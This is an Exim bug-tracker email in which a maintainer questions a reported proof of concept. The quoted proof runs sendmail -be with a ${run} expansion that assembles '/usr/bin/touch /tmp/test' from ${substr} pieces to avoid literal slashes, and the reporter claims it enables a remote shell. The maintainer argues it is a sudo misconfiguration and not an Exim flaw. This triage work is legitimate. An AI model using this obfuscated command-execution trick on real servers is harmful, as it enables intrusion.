https://bugs.exim.org/show_bug.cgi?id=2118
Heiko Schlittermann <h...@schlittermann.de> changed:
What |Removed |Added
----------------------------------------------------------------------------
CC| |h...@schlittermann.de
--- Comment #4 from Heiko Schlittermann <h...@schlittermann.de> ---
(In reply to Sandor Takacs from comment #2)
> If you run this as www-data you can create a remote shell to the attacked
> site as the linked PoC says. I tried it im my FreeBSD box:
>
> [r...@alkoholista.hu ~]# ls -l /tmp/test
> ls: /tmp/test: No such file or directory
> [r...@alkoholista.hu ~]# sudo -u www sendmail -be
> '${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}b
> in${substr{0}{1}{$spool_directory}}touch
> ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}'
>
> [r...@alkoholista.hu ~]# ls -l /tmp/test
> -rw------- 1 www wheel 0 May 5 19:42 /tmp/test
> [r...@alkoholista.hu ~]#
(1) Why is this a remote exploit? For my understanding you're running
your exploit directly on the target machine, don't you?
(2) What is the difference to "sudo -u www touch /tmp/test"?
If your sudo configuration doesn't allow you to run "touch", but allows
you to run "sendmail" with arbitrary options, then I'd see this as
a problem of your sudo configuration, not a problem of Exim. But I
may miss the pointâ¦
--
Heiko
--
You are receiving this mail because:
You are on the CC list for the bug.--
## List details at https://lists.exim.org/mailman/listinfo/exim-dev Exim
details at http://www.exim.org/ ##
